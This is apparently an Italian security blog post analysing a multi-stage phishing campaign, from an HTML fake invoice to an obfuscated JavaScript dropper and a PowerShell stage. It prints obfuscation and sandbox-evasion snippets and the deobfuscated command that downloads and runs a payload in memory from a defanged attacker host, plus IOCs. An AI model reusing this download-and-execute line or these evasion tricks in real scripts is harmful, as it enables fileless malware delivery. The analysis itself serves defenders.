Anatomia di un attacco: Analisi di una campagna di phishing
In questo post, analizzeremo una catena di attacco multi-stage che parte da un semplice file HTML e mira a eseguire un payload PowerShell direttamente in memoria. Vedremo come gli attaccanti utilizzano tecniche di offuscamento a più livelli, e anche qualche errore di programmazione, per eludere il rilevamento.
Fase 1: Honeypot & Fattura HTML

L’analisi ha avuto inizio quando abbiamo ricevuto un’email di phishing su una delle nostre caselle di posta honeypot. L’email, che invitava a scaricare una presunta fattura, conteneva in allegato il file HTML che ha dato il via alla catena di attacco: IT[REDACTED].html.
Una volta aperto, il file presenta una logica interessante:
- Rilevamento del sistema operativo: Lo script all’interno della pagina controlla la stringa
navigator.userAgentper determinare se il sistema operativo è Windows. - Ingegneria sociale:
- Se l’utente non sta usando Windows, viene visualizzato un messaggio che informa che il download è disponibile solo da PC, per “garantire un’esperienza sicura e compatibile”. Questa è una tattica intelligente per evitare di allertare l’utente su dispositivi non target (come smartphone) e assicurarsi che il malware venga eseguito sull’ambiente desiderato.
- Se l’utente sta usando Windows, viene mostrata la vera pagina di download con un pulsante “Scarica Fattura”.

Cliccando il pulsante, viene eseguita una funzione JavaScript che decodifica un URL e avvia il download del payload successivo. La decodifica avviene tramite una semplice operazione XOR su una serie di numeri codificati, un primo, leggero livello di offuscamento.

Fase 2: Dropper JavaScript & offuscamento
Il file scaricato è uno script JavaScript, Fattura[REDACTED].js, pesantemente offuscato per nascondere il suo vero scopo. Analizzandolo si è potuta rilevare una struttura complessa progettata per costruire ed eseguire un comando PowerShell.

L’analisi del file Fattura[REDACTED].js mostra diverse tecniche di evasione e offuscamento:
“Sporcare” il codice per confondere l’analisi

La prima cosa che salta all’occhio aprendo il file Fattura[REDACTED].js è la presenza di centinaia di righe di commenti contenenti parole casuali. Questa tecnica serve a “sporcare” il file per ingannare i sistemi di rilevamento basati su firme e per rendere più difficile l’analisi manuale.
// overcomes prelecting stater detribalizing radiobiologist gossiper prosiness
// rehydrates fiberfills hedgehops outrung juggernaut subfiles plaiting
// ... (molte altre righe) ...
var zLV4U0uYRXLELJqNT35vra = [
// ... codice malevolo ...
];
Offuscamento del payload

Il codice malevolo vero e proprio è nascosto all’interno di una variabile, un array contenente sia i dati codificati che le funzioni per decodificarli.
La decodifica avviene in due passaggi:
decodeFromCharset: Una prima funzione prende un array di numeri e lo converte in una stringa utilizzando un set di caratteri predefinito. Questo trasforma l’array numerico in una stringa ancora illeggibile.// Esempio di dati codificati (parziale) [ 61, 57, 54, 62, 26, 64, 43, 64, 45, 63, ... ] // La funzione che li decodifica function decodeFromCharset(numberArray) { var resultString = ""; var charset = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789<>|\\:._"; for (var i = 0; i < numberArray.length; i++) { resultString += charset.charAt(numberArray[i]); } return resultString; }xorDecrypt: La stringa risultante viene poi passata a una seconda funzione che esegue una decodifica XOR utilizzando una chiave numerica (in questo caso924) per rivelare finalmente la porzione di codice PowerShell.
Tecniche Anti-Analisi: attese e un loop “rotto”

Per eludere le sandbox automatiche (ambienti virtuali che eseguono file sospetti per un tempo limitato), il malware impiega due tecniche di ritardo:
- Attesa statica: Viene utilizzata una semplice chiamata
WScript.Sleep(19000)per mettere in pausa l’esecuzione per 19 secondi. - Ciclo ricorsivo: Viene invocata una funzione ricorsiva (
executePayload) che dovrebbe ciclare per un numero casuale di volte per perdere ulteriore tempo. Tuttavia, qui gli attaccanti hanno commesso un errore: la funzione viene chiamata passando un solo parametro, mentre la logica ricorsiva ne richiederebbe due.// Definizione della funzione (semplificata) function executePayload(startCounter, endCounter) { if (startCounter < endCounter) { // Chiamata ricorsiva ERRATA nel codice originale return executePayload(startCounter + 1); // Manca endCounter! } // ... codice malevolo ... } // Chiamata alla funzione executePayload(randomStart, randomEnd);
A causa di questo bug, il confronto startCounter < endCounterfallisce quasi subito (poichéendCounterèundefined), rendendo questa tecnica anti-analisi quasi del tutto inefficace.
Fase 3: Payload PowerShell

Il comando JavaScript infine esegue uno script PowerShell offuscato.
Anche qui troviamo tecniche simili per confondere l’analisi:
- Variabili e array inutilizzati: Vengono dichiarate variabili che non hanno alcuno scopo, come
$jienhsty8uali=('jungle','fried', 'flat'), il cui unico fine è quello di aggiungere “rumore” per un analista. - Offuscamento dei comandi: I comandi chiave di PowerShell sono costruiti dinamicamente per non apparire in chiaro nel codice.
- Il comando
curlviene costruito unendo stringhe e poi mascherato creando un alias:$dzrnbokwc='ur'; set-alias duglen c$($dzrnbokwc)l; # Risultato: set-alias duglen curl - Il comando
Invoke-Expression(iex) viene generato tramite calcoli matematici e concatenazione di stringhe, rendendolo irriconoscibile a una scansione statica:# ((200 + 30) - (100 + 25)) --> 105 (codice ASCII per 'i') # 'i' + 'e' + 'x' --> "iex" .$([char](((200 + 30) - (100 + 25)))+'e'+'x')
- Il comando
- Decodifica dell’URL: Una lunga stringa di numeri viene processata con un’operazione XOR (usando la chiave
76) per rivelare l’URL del payload finale:http://todaynews123[.]com/1.php?s=F7E06EF7-F0BB-4AA5-BE95-AC8146E55937.
Fase 4: Esecuzione in Memoria

L’obiettivo finale dello script PowerShell è scaricare il contenuto dall’URL e eseguirlo direttamente in memoria, senza mai scriverlo su disco.
# Il comando finale, una volta deoffuscato, diventa:
Invoke-Expression (curl -UseBasicParsing "http://todaynews123[.]com/1.php?s=F7E06EF7-F0BB-4AA5-BE95-AC8146E55937")
Questa tecnica, nota come esecuzione fileless, è particolarmente efficace perché aggira molte soluzioni antivirus tradizionali che si concentrano sulla scansione dei file su disco.
Conclusioni e Indicatori di Compromissione (IOCs)
Questa campagna malevola dimostra una chiara progressione di tecniche di offuscamento e di evasione, nonostante qualche errore di implementazione.
Indicatori di Compromissione (IOCs):
- URL:
http://todaynews123[.]com/1.php?s=F7E06EF7-F0BB-4AA5-BE95-AC8146E55937 - IP (storico):
82[.]112[.]240[.]106
È importante notare che, al momento dell’analisi, l’infrastruttura dell’attaccante non è più attiva. Una richiesta DNS per il dominio todaynews123[.]com non restituisce alcun record A, indicando che non risolve più a un indirizzo IP. Dati storici recuperati da VirusTotal mostrano che in passato il dominio era associato all’IP 82[.]112[.]240[.]106. Tuttavia, anche questo indirizzo risulta inattivo e non espone alcun servizio, né sulla porta 80 né su altre porte, confermando che la catena di attacco è stata interrotta.

1000 parole
2025-09-08 11:37